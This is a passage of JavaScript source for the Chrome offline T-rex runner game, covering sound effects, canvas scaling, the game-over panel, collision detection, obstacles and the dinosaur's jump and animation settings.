} else if (!this.crashed) {
this.tRex.reset();
this.play();
}
},
/**
* Play a sound.
* @param {AudioBuffer} soundBuffer
*/
playSound(soundBuffer) {
if (soundBuffer) {
const sourceNode = this.audioContext.createBufferSource();
sourceNode.buffer = soundBuffer;
sourceNode.connect(this.audioContext.destination);
sourceNode.start(0);
}
},
/**
* Inverts the current page / canvas colors.
* @param {boolean} reset Whether to reset colors.
*/
invert(reset) {
const htmlEl = document.firstElementChild;
if (reset) {
htmlEl.classList.toggle(Runner.classes.INVERTED,
false);
this.invertTimer = 0;
this.inverted = false;
} else {
this.inverted = htmlEl.classList.toggle(
Runner.classes.INVERTED, this.invertTrigger);
}
},
};
/**
* Updates the canvas size taking into
* account the backing store pixel ratio and
* the device pixel ratio.
*
* See article by Paul Lewis:
* http://www.html5rocks.com/en/tutorials/canvas/hidpi/
*
* @param {HTMLCanvasElement} canvas
* @param {number=} opt_width
* @param {number=} opt_height
* @return {boolean} Whether the canvas was scaled.
*/
Runner.updateCanvasScaling = function(canvas, opt_width, opt_height) {
const context =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
// Query the various pixel ratios
const devicePixelRatio = Math.floor(window.devicePixelRatio) || 1;
/** @suppress {missingProperties} */
const backingStoreRatio =
Math.floor(context.webkitBackingStorePixelRatio) || 1;
const ratio = devicePixelRatio / backingStoreRatio;
// Upscale the canvas if the two ratios don't match
if (devicePixelRatio !== backingStoreRatio) {
const oldWidth = opt_width || canvas.width;
const oldHeight = opt_height || canvas.height;
canvas.width = oldWidth * ratio;
canvas.height = oldHeight * ratio;
canvas.style.width = oldWidth + 'px';
canvas.style.height = oldHeight + 'px';
// Scale the context to counter the fact that we've manually scaled
// our canvas element.
context.scale(ratio, ratio);
return true;
} else if (devicePixelRatio === 1) {
// Reset the canvas width / height. Fixes scaling bug when the page is
// zoomed and the devicePixelRatio changes accordingly.
canvas.style.width = canvas.width + 'px';
canvas.style.height = canvas.height + 'px';
}
return false;
};
/**
* Whether events are enabled.
* @return {boolean}
*/
Runner.isAltGameModeEnabled = function() {
return loadTimeData && loadTimeData.valueExists('enableAltGameMode');
};
/**
* Generated sound FX class for audio cues.
* @constructor
*/
function GeneratedSoundFx() {
this.audioCues = false;
this.context = null;
this.panner = null;
}
GeneratedSoundFx.prototype = {
init() {
this.audioCues = true;
if (!this.context) {
// iOS only supports the webkit version.
this.context = window.webkitAudioContext ? new webkitAudioContext() :
new AudioContext();
if (IS_IOS) {
this.context.onstatechange = (function() {
if (this.context.state != 'running') {
this.context.resume();
}
}).bind(this);
this.context.resume();
}
this.panner = this.context.createStereoPanner ?
this.context.createStereoPanner() :
null;
}
},
stopAll() {
this.cancelFootSteps();
},
/**
* Play oscillators at certain frequency and for a certain time.
* @param {number} frequency
* @param {number} startTime
* @param {number} duration
* @param {?number=} opt_vol
* @param {number=} opt_pan
*/
playNote(frequency, startTime, duration, opt_vol, opt_pan) {
const osc1 = this.context.createOscillator();
const osc2 = this.context.createOscillator();
const volume = this.context.createGain();
// Set oscillator wave type
osc1.type = 'triangle';
osc2.type = 'triangle';
volume.gain.value = 0.1;
// Set up node routing
if (this.panner) {
this.panner.pan.value = opt_pan || 0;
osc1.connect(volume).connect(this.panner);
osc2.connect(volume).connect(this.panner);
this.panner.connect(this.context.destination);
} else {
osc1.connect(volume);
osc2.connect(volume);
volume.connect(this.context.destination);
}
// Detune oscillators for chorus effect
osc1.frequency.value = frequency + 1;
osc2.frequency.value = frequency - 2;
// Fade out
volume.gain.setValueAtTime(opt_vol || 0.01, startTime + duration - 0.05);
volume.gain.linearRampToValueAtTime(0.00001, startTime + duration);
// Start oscillators
osc1.start(startTime);
osc2.start(startTime);
// Stop oscillators
osc1.stop(startTime + duration);
osc2.stop(startTime + duration);
},
background() {
if (this.audioCues) {
const now = this.context.currentTime;
this.playNote(493.883, now, 0.116);
this.playNote(659.255, now + 0.116, 0.232);
this.loopFootSteps();
}
},
loopFootSteps() {
if (this.audioCues && !this.bgSoundIntervalId) {
this.bgSoundIntervalId = setInterval(function() {
this.playNote(73.42, this.context.currentTime, 0.05, 0.16);
this.playNote(69.30, this.context.currentTime + 0.116, 0.116, 0.16);
}.bind(this), 280);
}
},
cancelFootSteps() {
if (this.audioCues && this.bgSoundIntervalId) {
clearInterval(this.bgSoundIntervalId);
this.bgSoundIntervalId = null;
this.playNote(103.83, this.context.currentTime, 0.232, 0.02);
this.playNote(116.54, this.context.currentTime + 0.116, 0.232, 0.02);
}
},
collect() {
if (this.audioCues) {
this.cancelFootSteps();
const now = this.context.currentTime;
this.playNote(830.61, now, 0.116);
this.playNote(1318.51, now + 0.116, 0.232);
}
},
jump() {
if (this.audioCues) {
const now = this.context.currentTime;
this.playNote(659.25, now, 0.116, 0.3, -0.6);
this.playNote(880, now + 0.116, 0.232, 0.3, -0.6);
}
},
};
/**
* Speak a phrase using Speech Synthesis API for a11y.
* @param {string} phrase Sentence to speak.
*/
function speakPhrase(phrase) {
if ('speechSynthesis' in window) {
const msg = new SpeechSynthesisUtterance(phrase);
const voices = window.speechSynthesis.getVoices();
msg.text = phrase;
speechSynthesis.speak(msg);
}
}
/**
* For screen readers make an announcement to the live region.
* @param {string} phrase Sentence to speak.
*/
function announcePhrase(phrase) {
if (Runner.a11yStatusEl) {
Runner.a11yStatusEl.textContent = '';
Runner.a11yStatusEl.textContent = phrase;
}
}
/**
* Returns a string from loadTimeData data object.
* @param {string} stringName
* @return {string}
*/
function getA11yString(stringName) {
return loadTimeData && loadTimeData.valueExists(stringName) ?
loadTimeData.getString(stringName) :
'';
}
/**
* Get random number.
* @param {number} min
* @param {number} max
*/
function getRandomNum(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
/**
* Vibrate on mobile devices.
* @param {number} duration Duration of the vibration in milliseconds.
*/
function vibrate(duration) {
if (IS_MOBILE && window.navigator.vibrate) {
window.navigator.vibrate(duration);
}
}
/**
* Create canvas element.
* @param {Element} container Element to append canvas to.
* @param {number} width
* @param {number} height
* @param {string=} opt_classname
* @return {HTMLCanvasElement}
*/
function createCanvas(container, width, height, opt_classname) {
const canvas =
/** @type {!HTMLCanvasElement} */ (document.createElement('canvas'));
canvas.className = opt_classname ? Runner.classes.CANVAS + ' ' +
opt_classname : Runner.classes.CANVAS;
canvas.width = width;
canvas.height = height;
container.appendChild(canvas);
return canvas;
}
/**
* Decodes the base 64 audio to ArrayBuffer used by Web Audio.
* @param {string} base64String
*/
function decodeBase64ToArrayBuffer(base64String) {
const len = (base64String.length / 4) * 3;
const str = atob(base64String);
const arrayBuffer = new ArrayBuffer(len);
const bytes = new Uint8Array(arrayBuffer);
for (let i = 0; i < len; i++) {
bytes[i] = str.charCodeAt(i);
}
return bytes.buffer;
}
/**
* Return the current timestamp.
* @return {number}
*/
function getTimeStamp() {
return IS_IOS ? new Date().getTime() : performance.now();
}
//******************************************************************************
/**
* Game over panel.
* @param {!HTMLCanvasElement} canvas
* @param {Object} textImgPos
* @param {Object} restartImgPos
* @param {!Object} dimensions Canvas dimensions.
* @param {Object=} opt_altGameEndImgPos
* @param {boolean=} opt_altGameActive
* @constructor
*/
function GameOverPanel(
canvas, textImgPos, restartImgPos, dimensions, opt_altGameEndImgPos,
opt_altGameActive) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.canvasDimensions = dimensions;
this.textImgPos = textImgPos;
this.restartImgPos = restartImgPos;
this.altGameEndImgPos = opt_altGameEndImgPos;
this.altGameModeActive = opt_altGameActive;
// Retry animation.
this.frameTimeStamp = 0;
this.animTimer = 0;
this.currentFrame = 0;
this.gameOverRafId = null;
this.flashTimer = 0;
this.flashCounter = 0;
this.originalText = true;
}
GameOverPanel.RESTART_ANIM_DURATION = 875;
GameOverPanel.LOGO_PAUSE_DURATION = 875;
GameOverPanel.FLASH_ITERATIONS = 5;
/**
* Animation frames spec.
*/
GameOverPanel.animConfig = {
frames: [0, 36, 72, 108, 144, 180, 216, 252],
msPerFrame: GameOverPanel.RESTART_ANIM_DURATION / 8,
};
/**
* Dimensions used in the panel.
* @enum {number}
*/
GameOverPanel.dimensions = {
TEXT_X: 0,
TEXT_Y: 13,
TEXT_WIDTH: 191,
TEXT_HEIGHT: 11,
RESTART_WIDTH: 36,
RESTART_HEIGHT: 32,
};
GameOverPanel.prototype = {
/**
* Update the panel dimensions.
* @param {number} width New canvas width.
* @param {number} opt_height Optional new canvas height.
*/
updateDimensions(width, opt_height) {
this.canvasDimensions.WIDTH = width;
if (opt_height) {
this.canvasDimensions.HEIGHT = opt_height;
}
this.currentFrame = GameOverPanel.animConfig.frames.length - 1;
},
drawGameOverText(dimensions, opt_useAltText) {
const centerX = this.canvasDimensions.WIDTH / 2;
let textSourceX = dimensions.TEXT_X;
let textSourceY = dimensions.TEXT_Y;
let textSourceWidth = dimensions.TEXT_WIDTH;
let textSourceHeight = dimensions.TEXT_HEIGHT;
const textTargetX = Math.round(centerX - (dimensions.TEXT_WIDTH / 2));
const textTargetY = Math.round((this.canvasDimensions.HEIGHT - 25) / 3);
const textTargetWidth = dimensions.TEXT_WIDTH;
const textTargetHeight = dimensions.TEXT_HEIGHT;
if (IS_HIDPI) {
textSourceY *= 2;
textSourceX *= 2;
textSourceWidth *= 2;
textSourceHeight *= 2;
}
if (!opt_useAltText) {
textSourceX += this.textImgPos.x;
textSourceY += this.textImgPos.y;
}
const spriteSource =
opt_useAltText ? Runner.altCommonImageSprite : Runner.origImageSprite;
this.canvasCtx.save();
if (IS_RTL) {
this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
this.canvasCtx.scale(-1, 1);
}
// Game over text from sprite.
this.canvasCtx.drawImage(
spriteSource, textSourceX, textSourceY, textSourceWidth,
textSourceHeight, textTargetX, textTargetY, textTargetWidth,
textTargetHeight);
this.canvasCtx.restore();
},
/**
* Draw additional adornments for alternative game types.
*/
drawAltGameElements(tRex) {
// Additional adornments.
if (this.altGameModeActive && Runner.spriteDefinition.ALT_GAME_END_CONFIG) {
const altGameEndConfig = Runner.spriteDefinition.ALT_GAME_END_CONFIG;
let altGameEndSourceWidth = altGameEndConfig.WIDTH;
let altGameEndSourceHeight = altGameEndConfig.HEIGHT;
const altGameEndTargetX = tRex.xPos + altGameEndConfig.X_OFFSET;
const altGameEndTargetY = tRex.yPos + altGameEndConfig.Y_OFFSET;
if (IS_HIDPI) {
altGameEndSourceWidth *= 2;
altGameEndSourceHeight *= 2;
}
this.canvasCtx.drawImage(
Runner.altCommonImageSprite, this.altGameEndImgPos.x,
this.altGameEndImgPos.y, altGameEndSourceWidth,
altGameEndSourceHeight, altGameEndTargetX, altGameEndTargetY,
altGameEndConfig.WIDTH, altGameEndConfig.HEIGHT);
}
},
/**
* Draw restart button.
*/
drawRestartButton() {
const dimensions = GameOverPanel.dimensions;
let framePosX = GameOverPanel.animConfig.frames[this.currentFrame];
let restartSourceWidth = dimensions.RESTART_WIDTH;
let restartSourceHeight = dimensions.RESTART_HEIGHT;
const restartTargetX =
(this.canvasDimensions.WIDTH / 2) - (dimensions.RESTART_WIDTH / 2);
const restartTargetY = this.canvasDimensions.HEIGHT / 2;
if (IS_HIDPI) {
restartSourceWidth *= 2;
restartSourceHeight *= 2;
framePosX *= 2;
}
this.canvasCtx.save();
if (IS_RTL) {
this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
this.canvasCtx.scale(-1, 1);
}
this.canvasCtx.drawImage(
Runner.origImageSprite, this.restartImgPos.x + framePosX,
this.restartImgPos.y, restartSourceWidth, restartSourceHeight,
restartTargetX, restartTargetY, dimensions.RESTART_WIDTH,
dimensions.RESTART_HEIGHT);
this.canvasCtx.restore();
},
/**
* Draw the panel.
* @param {boolean} opt_altGameModeActive
* @param {!Trex} opt_tRex
*/
draw(opt_altGameModeActive, opt_tRex) {
if (opt_altGameModeActive) {
this.altGameModeActive = opt_altGameModeActive;
}
this.drawGameOverText(GameOverPanel.dimensions, false);
this.drawRestartButton();
this.drawAltGameElements(opt_tRex);
this.update();
},
/**
* Update animation frames.
*/
update() {
const now = getTimeStamp();
const deltaTime = now - (this.frameTimeStamp || now);
this.frameTimeStamp = now;
this.animTimer += deltaTime;
this.flashTimer += deltaTime;
// Restart Button
if (this.currentFrame == 0 &&
this.animTimer > GameOverPanel.LOGO_PAUSE_DURATION) {
this.animTimer = 0;
this.currentFrame++;
this.drawRestartButton();
} else if (
this.currentFrame > 0 &&
this.currentFrame < GameOverPanel.animConfig.frames.length) {
if (this.animTimer >= GameOverPanel.animConfig.msPerFrame) {
this.currentFrame++;
this.drawRestartButton();
}
} else if (
!this.altGameModeActive &&
this.currentFrame == GameOverPanel.animConfig.frames.length) {
this.reset();
return;
}
// Game over text
if (this.altGameModeActive &&
Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG) {
const altTextConfig =
Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG;
if (this.flashCounter < GameOverPanel.FLASH_ITERATIONS &&
this.flashTimer > altTextConfig.FLASH_DURATION) {
this.flashTimer = 0;
this.originalText = !this.originalText;
this.clearGameOverTextBounds();
if (this.originalText) {
this.drawGameOverText(GameOverPanel.dimensions, false);
this.flashCounter++;
} else {
this.drawGameOverText(altTextConfig, true);
}
} else if (this.flashCounter >= GameOverPanel.FLASH_ITERATIONS) {
this.reset();
return;
}
}
this.gameOverRafId = requestAnimationFrame(this.update.bind(this));
},
/**
* Clear game over text.
*/
clearGameOverTextBounds() {
this.canvasCtx.save();
this.canvasCtx.clearRect(
Math.round(
this.canvasDimensions.WIDTH / 2 -
(GameOverPanel.dimensions.TEXT_WIDTH / 2)),
Math.round((this.canvasDimensions.HEIGHT - 25) / 3),
GameOverPanel.dimensions.TEXT_WIDTH,
GameOverPanel.dimensions.TEXT_HEIGHT + 4);
this.canvasCtx.restore();
},
reset() {
if (this.gameOverRafId) {
cancelAnimationFrame(this.gameOverRafId);
this.gameOverRafId = null;
}
this.animTimer = 0;
this.frameTimeStamp = 0;
this.currentFrame = 0;
this.flashTimer = 0;
this.flashCounter = 0;
this.originalText = true;
},
};
//******************************************************************************
/**
* Check for a collision.
* @param {!Obstacle} obstacle
* @param {!Trex} tRex T-rex object.
* @param {CanvasRenderingContext2D=} opt_canvasCtx Optional canvas context for
* drawing collision boxes.
* @return {Array<CollisionBox>|undefined}
*/
function checkForCollision(obstacle, tRex, opt_canvasCtx) {
const obstacleBoxXPos = Runner.defaultDimensions.WIDTH + obstacle.xPos;
// Adjustments are made to the bounding box as there is a 1 pixel white
// border around the t-rex and obstacles.
const tRexBox = new CollisionBox(
tRex.xPos + 1,
tRex.yPos + 1,
tRex.config.WIDTH - 2,
tRex.config.HEIGHT - 2);
const obstacleBox = new CollisionBox(
obstacle.xPos + 1,
obstacle.yPos + 1,
obstacle.typeConfig.width * obstacle.size - 2,
obstacle.typeConfig.height - 2);
// Debug outer box
if (opt_canvasCtx) {
drawCollisionBoxes(opt_canvasCtx, tRexBox, obstacleBox);
}
// Simple outer bounds check.
if (boxCompare(tRexBox, obstacleBox)) {
const collisionBoxes = obstacle.collisionBoxes;
let tRexCollisionBoxes = [];
if (Runner.isAltGameModeEnabled()) {
tRexCollisionBoxes = Runner.spriteDefinition.TREX.COLLISION_BOXES;
} else {
tRexCollisionBoxes = tRex.ducking ? Trex.collisionBoxes.DUCKING :
Trex.collisionBoxes.RUNNING;
}
// Detailed axis aligned box check.
for (let t = 0; t < tRexCollisionBoxes.length; t++) {
for (let i = 0; i < collisionBoxes.length; i++) {
// Adjust the box to actual positions.
const adjTrexBox =
createAdjustedCollisionBox(tRexCollisionBoxes[t], tRexBox);
const adjObstacleBox =
createAdjustedCollisionBox(collisionBoxes[i], obstacleBox);
const crashed = boxCompare(adjTrexBox, adjObstacleBox);
// Draw boxes for debug.
if (opt_canvasCtx) {
drawCollisionBoxes(opt_canvasCtx, adjTrexBox, adjObstacleBox);
}
if (crashed) {
return [adjTrexBox, adjObstacleBox];
}
}
}
}
}
/**
* Adjust the collision box.
* @param {!CollisionBox} box The original box.
* @param {!CollisionBox} adjustment Adjustment box.
* @return {CollisionBox} The adjusted collision box object.
*/
function createAdjustedCollisionBox(box, adjustment) {
return new CollisionBox(
box.x + adjustment.x,
box.y + adjustment.y,
box.width,
box.height);
}
/**
* Draw the collision boxes for debug.
*/
function drawCollisionBoxes(canvasCtx, tRexBox, obstacleBox) {
canvasCtx.save();
canvasCtx.strokeStyle = '#f00';
canvasCtx.strokeRect(tRexBox.x, tRexBox.y, tRexBox.width, tRexBox.height);
canvasCtx.strokeStyle = '#0f0';
canvasCtx.strokeRect(obstacleBox.x, obstacleBox.y,
obstacleBox.width, obstacleBox.height);
canvasCtx.restore();
}
/**
* Compare two collision boxes for a collision.
* @param {CollisionBox} tRexBox
* @param {CollisionBox} obstacleBox
* @return {boolean} Whether the boxes intersected.
*/
function boxCompare(tRexBox, obstacleBox) {
let crashed = false;
const tRexBoxX = tRexBox.x;
const tRexBoxY = tRexBox.y;
const obstacleBoxX = obstacleBox.x;
const obstacleBoxY = obstacleBox.y;
// Axis-Aligned Bounding Box method.
if (tRexBox.x < obstacleBoxX + obstacleBox.width &&
tRexBox.x + tRexBox.width > obstacleBoxX &&
tRexBox.y < obstacleBox.y + obstacleBox.height &&
tRexBox.height + tRexBox.y > obstacleBox.y) {
crashed = true;
}
return crashed;
}
//******************************************************************************
/**
* Collision box object.
* @param {number} x X position.
* @param {number} y Y Position.
* @param {number} w Width.
* @param {number} h Height.
* @constructor
*/
function CollisionBox(x, y, w, h) {
this.x = x;
this.y = y;
this.width = w;
this.height = h;
}
//******************************************************************************
/**
* Obstacle.
* @param {CanvasRenderingContext2D} canvasCtx
* @param {ObstacleType} type
* @param {Object} spriteImgPos Obstacle position in sprite.
* @param {Object} dimensions
* @param {number} gapCoefficient Mutipler in determining the gap.
* @param {number} speed
* @param {number=} opt_xOffset
* @param {boolean=} opt_isAltGameMode
* @constructor
*/
function Obstacle(
canvasCtx, type, spriteImgPos, dimensions, gapCoefficient, speed,
opt_xOffset, opt_isAltGameMode) {
this.canvasCtx = canvasCtx;
this.spritePos = spriteImgPos;
this.typeConfig = type;
this.gapCoefficient = Runner.slowDown ? gapCoefficient * 2 : gapCoefficient;
this.size = getRandomNum(1, Obstacle.MAX_OBSTACLE_LENGTH);
this.dimensions = dimensions;
this.remove = false;
this.xPos = dimensions.WIDTH + (opt_xOffset || 0);
this.yPos = 0;
this.width = 0;
this.collisionBoxes = [];
this.gap = 0;
this.speedOffset = 0;
this.altGameModeActive = opt_isAltGameMode;
this.imageSprite = this.typeConfig.type == 'COLLECTABLE' ?
Runner.altCommonImageSprite :
this.altGameModeActive ? Runner.altGameImageSprite : Runner.imageSprite;
// For animated obstacles.
this.currentFrame = 0;
this.timer = 0;
this.init(speed);
}
/**
* Coefficient for calculating the maximum gap.
*/
Obstacle.MAX_GAP_COEFFICIENT = 1.5;
/**
* Maximum obstacle grouping count.
*/
Obstacle.MAX_OBSTACLE_LENGTH = 3;
Obstacle.prototype = {
/**
* Initialise the DOM for the obstacle.
* @param {number} speed
*/
init(speed) {
this.cloneCollisionBoxes();
// Only allow sizing if we're at the right speed.
if (this.size > 1 && this.typeConfig.multipleSpeed > speed) {
this.size = 1;
}
this.width = this.typeConfig.width * this.size;
// Check if obstacle can be positioned at various heights.
if (Array.isArray(this.typeConfig.yPos)) {
const yPosConfig =
IS_MOBILE ? this.typeConfig.yPosMobile : this.typeConfig.yPos;
this.yPos = yPosConfig[getRandomNum(0, yPosConfig.length - 1)];
} else {
this.yPos = this.typeConfig.yPos;
}
this.draw();
// Make collision box adjustments,
// Central box is adjusted to the size as one box.
// ____ ______ ________
// _| |-| _| |-| _| |-|
// | |<->| | | |<--->| | | |<----->| |
// | | 1 | | | | 2 | | | | 3 | |
// |_|___|_| |_|_____|_| |_|_______|_|
//
if (this.size > 1) {
this.collisionBoxes[1].width = this.width - this.collisionBoxes[0].width -
this.collisionBoxes[2].width;
this.collisionBoxes[2].x = this.width - this.collisionBoxes[2].width;
}
// For obstacles that go at a different speed from the horizon.
if (this.typeConfig.speedOffset) {
this.speedOffset = Math.random() > 0.5 ? this.typeConfig.speedOffset :
-this.typeConfig.speedOffset;
}
this.gap = this.getGap(this.gapCoefficient, speed);
// Increase gap for audio cues enabled.
if (Runner.audioCues) {
this.gap *= 2;
}
},
/**
* Draw and crop based on size.
*/
draw() {
let sourceWidth = this.typeConfig.width;
let sourceHeight = this.typeConfig.height;
if (IS_HIDPI) {
sourceWidth = sourceWidth * 2;
sourceHeight = sourceHeight * 2;
}
// X position in sprite.
let sourceX =
(sourceWidth * this.size) * (0.5 * (this.size - 1)) + this.spritePos.x;
// Animation frames.
if (this.currentFrame > 0) {
sourceX += sourceWidth * this.currentFrame;
}
this.canvasCtx.drawImage(
this.imageSprite, sourceX, this.spritePos.y, sourceWidth * this.size,
sourceHeight, this.xPos, this.yPos, this.typeConfig.width * this.size,
this.typeConfig.height);
},
/**
* Obstacle frame update.
* @param {number} deltaTime
* @param {number} speed
*/
update(deltaTime, speed) {
if (!this.remove) {
if (this.typeConfig.speedOffset) {
speed += this.speedOffset;
}
this.xPos -= Math.floor((speed * FPS / 1000) * deltaTime);
// Update frame
if (this.typeConfig.numFrames) {
this.timer += deltaTime;
if (this.timer >= this.typeConfig.frameRate) {
this.currentFrame =
this.currentFrame === this.typeConfig.numFrames - 1 ?
0 :
this.currentFrame + 1;
this.timer = 0;
}
}
this.draw();
if (!this.isVisible()) {
this.remove = true;
}
}
},
/**
* Calculate a random gap size.
* - Minimum gap gets wider as speed increses
* @param {number} gapCoefficient
* @param {number} speed
* @return {number} The gap size.
*/
getGap(gapCoefficient, speed) {
const minGap = Math.round(
this.width * speed + this.typeConfig.minGap * gapCoefficient);
const maxGap = Math.round(minGap * Obstacle.MAX_GAP_COEFFICIENT);
return getRandomNum(minGap, maxGap);
},
/**
* Check if obstacle is visible.
* @return {boolean} Whether the obstacle is in the game area.
*/
isVisible() {
return this.xPos + this.width > 0;
},
/**
* Make a copy of the collision boxes, since these will change based on
* obstacle type and size.
*/
cloneCollisionBoxes() {
const collisionBoxes = this.typeConfig.collisionBoxes;
for (let i = collisionBoxes.length - 1; i >= 0; i--) {
this.collisionBoxes[i] = new CollisionBox(
collisionBoxes[i].x, collisionBoxes[i].y, collisionBoxes[i].width,
collisionBoxes[i].height);
}
},
};
//******************************************************************************
/**
* T-rex game character.
* @param {HTMLCanvasElement} canvas
* @param {Object} spritePos Positioning within image sprite.
* @constructor
*/
function Trex(canvas, spritePos) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
this.spritePos = spritePos;
this.xPos = 0;
this.yPos = 0;
this.xInitialPos = 0;
// Position when on the ground.
this.groundYPos = 0;
this.currentFrame = 0;
this.currentAnimFrames = [];
this.blinkDelay = 0;
this.blinkCount = 0;
this.animStartTime = 0;
this.timer = 0;
this.msPerFrame = 1000 / FPS;
this.config = Object.assign(Trex.config, Trex.normalJumpConfig);
// Current status.
this.status = Trex.status.WAITING;
this.jumping = false;
this.ducking = false;
this.jumpVelocity = 0;
this.reachedMinHeight = false;
this.speedDrop = false;
this.jumpCount = 0;
this.jumpspotX = 0;
this.altGameModeEnabled = false;
this.flashing = false;
this.init();
}
/**
* T-rex player config.
*/
Trex.config = {
DROP_VELOCITY: -5,
FLASH_OFF: 175,
FLASH_ON: 100,
HEIGHT: 47,
HEIGHT_DUCK: 25,
INTRO_DURATION: 1500,
SPEED_DROP_COEFFICIENT: 3,
SPRITE_WIDTH: 262,
START_X_POS: 50,
WIDTH: 44,
WIDTH_DUCK: 59,
};
Trex.slowJumpConfig = {
GRAVITY: 0.25,
MAX_JUMP_HEIGHT: 50,
MIN_JUMP_HEIGHT: 45,
INITIAL_JUMP_VELOCITY: -20,
};
Trex.normalJumpConfig = {
GRAVITY: 0.6,
MAX_JUMP_HEIGHT: 30,
MIN_JUMP_HEIGHT: 30,
INITIAL_JUMP_VELOCITY: -10,
};
/**
* Used in collision detection.
* @enum {Array<CollisionBox>}
*/
Trex.collisionBoxes = {
DUCKING: [new CollisionBox(1, 18, 55, 25)],
RUNNING: [
new CollisionBox(22, 0, 17, 16),
new CollisionBox(1, 18, 30, 9),
new CollisionBox(10, 35, 14, 8),
new CollisionBox(1, 24, 29, 5),
new CollisionBox(5, 30, 21, 4),
new CollisionBox(9, 34, 15, 4),
],
};
/**
* Animation states.
* @enum {string}
*/
Trex.status = {
CRASHED: 'CRASHED',
DUCKING: 'DUCKING',
JUMPING: 'JUMPING',
RUNNING: 'RUNNING',
WAITING: 'WAITING',
};
/**
* Blinking coefficient.
* @const
*/
Trex.BLINK_TIMING = 7000;
/**
* Animation config for different states.
* @enum {Object}
*/
Trex.animFrames = {
WAITING: {
frames: [44, 0],
msPerFrame: 1000 / 3,
},
RUNNING: {
frames: [88, 132],
msPerFrame: 1000 / 12,
},
CRASHED: {
frames: [220],
msPerFrame: 1000 / 60,
},
JUMPING: {
frames: [0],
msPerFrame: 1000 / 60,
},
DUCKING: {
frames: [264, 323],
msPerFrame: 1000 / 8,
},
};
Trex.prototype = {
/**
* T-rex player initaliser.
* Sets the t-rex to blink at random intervals.
*/
init() {
this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
Runner.config.BOTTOM_PAD;
this.yPos = this.groundYPos;
this.minJumpHeight = this.groundYPos - this.config.MIN_JUMP_HEIGHT;
this.draw(0, 0);
this.update(0, Trex.status.WAITING);
},
/**
* Assign the appropriate jump parameters based on the game speed.
*/
enableSlowConfig: function() {
const jumpConfig =
Runner.slowDown ? Trex.slowJumpConfig : Trex.normalJumpConfig;
Trex.config = Object.assign(Trex.config, jumpConfig);
this.adjustAltGameConfigForSlowSpeed();
},
/**
* Enables the alternative game. Redefines the dino config.
* @param {Object} spritePos New positioning within image sprite.
*/
enableAltGameMode: function(spritePos) {
this.altGameModeEnabled = true;
this.spritePos = spritePos;
const spriteDefinition = Runner.spriteDefinition['TREX'];
// Update animation frames.
Trex.animFrames.RUNNING.frames =
[spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
Trex.animFrames.CRASHED.frames = [spriteDefinition.CRASHED.x];
if (typeof spriteDefinition.JUMPING.x == 'object') {
Trex.animFrames.JUMPING.frames = spriteDefinition.JUMPING.x;
} else {
Trex.animFrames.JUMPING.frames = [spriteDefinition.JUMPING.x];
}
Trex.animFrames.DUCKING.frames =
[spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
// Update Trex config
Trex.config.GRAVITY = spriteDefinition.GRAVITY || Trex.config.GRAVITY;
Trex.config.HEIGHT = spriteDefinition.RUNNING_1.h,
Trex.config.INITIAL_JUMP_VELOCITY = spriteDefinition.INITIAL_JUMP_VELOCITY;
Trex.config.MAX_JUMP_HEIGHT = spriteDefinition.MAX_JUMP_HEIGHT;
Trex.config.MIN_JUMP_HEIGHT = spriteDefinition.MIN_JUMP_HEIGHT;
Trex.config.WIDTH = spriteDefinition.RUNNING_1.w;
Trex.config.WIDTH_JUMP = spriteDefinition.JUMPING.w;
Trex.config.INVERT_JUMP = spriteDefinition.INVERT_JUMP;
this.adjustAltGameConfigForSlowSpeed(spriteDefinition.GRAVITY);
this.config = Trex.config;
// Adjust bottom horizon placement.
this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
Runner.spriteDefinition['BOTTOM_PAD'];
this.yPos = this.groundYPos;
this.reset();
},
/**
* Slow speeds adjustments for the alt game modes.
* @param {number=} opt_gravityValue
*/
adjustAltGameConfigForSlowSpeed: function(opt_gravityValue) {
if (Runner.slowDown) {
if (opt_gravityValue) {
Trex.config.GRAVITY = opt_gravityValue / 1.5;
}
Trex.config.MIN_JUMP_HEIGHT *= 1.5;
Trex.config.MAX_JUMP_HEIGHT *= 1.5;
Trex.config.INITIAL_JUMP_VELOCITY =
Trex.config.INITIAL_JUMP_VELOCITY * 1.5;
}
},
/**
* Setter whether dino is flashing.
* @param {boolean} status
*/
setFlashing: function(status) {
this.flashing = status;
},
/**
* Setter for the jump velocity.
* The approriate drop velocity is also set.
* @param {number} setting
*/
setJumpVelocity(setting) {
this.config.INITIAL_JUMP_VELOCITY = -setting;
this.config.DROP_VELOCITY = -setting / 2;
},
/**
* Set the animation status.
* @param {!number} deltaTime
* @param {Trex.status=} opt_status Optional status to switch to.
*/
update(deltaTime, opt_status) {
this.timer += deltaTime;
// Update the status.
if (opt_status) {
this.status = opt_status;
this.currentFrame = 0;
this.msPerFrame = Trex.animFrames[opt_status].msPerFrame;
this.currentAnimFrames = Trex.animFrames[opt_status].frames;
if (opt_status === Trex.status.WAITING) {
this.animStartTime = getTimeStamp();
this.setBlinkDelay();
}
}
// Game intro animation, T-rex moves in from the left.
if (this.playingIntro && this.xPos < this.config.START_X_POS) {
this.xPos += Math.round((this.config.START_X_POS /
this.config.INTRO_DURATION) * deltaTime);
this.xInitialPos = this.xPos;
}
if (this.status === Trex.status.WAITING) {
this.blink(getTimeStamp());
} else {
this.draw(this.currentAnimFrames[this.currentFrame], 0);
}
// Update the frame position.
if (!this.flashing && this.timer >= this.msPerFrame) {
this.currentFrame = this.currentFrame ==
this.currentAnimFrames.length - 1 ? 0 : this.currentFrame + 1;
this.timer = 0;
}
if (!this.altGameModeEnabled) {
// Speed drop becomes duck if the down key is still being pressed.
if (this.speedDrop && this.yPos === this.groundYPos) {
this.speedDrop = false;
this.setDuck(true);
}
}
},
/**
* Draw the t-rex to a particular position.
* @param {number} x
* @param {number} y
*/
draw(x, y) {
let sourceX = x;
let sourceY = y;
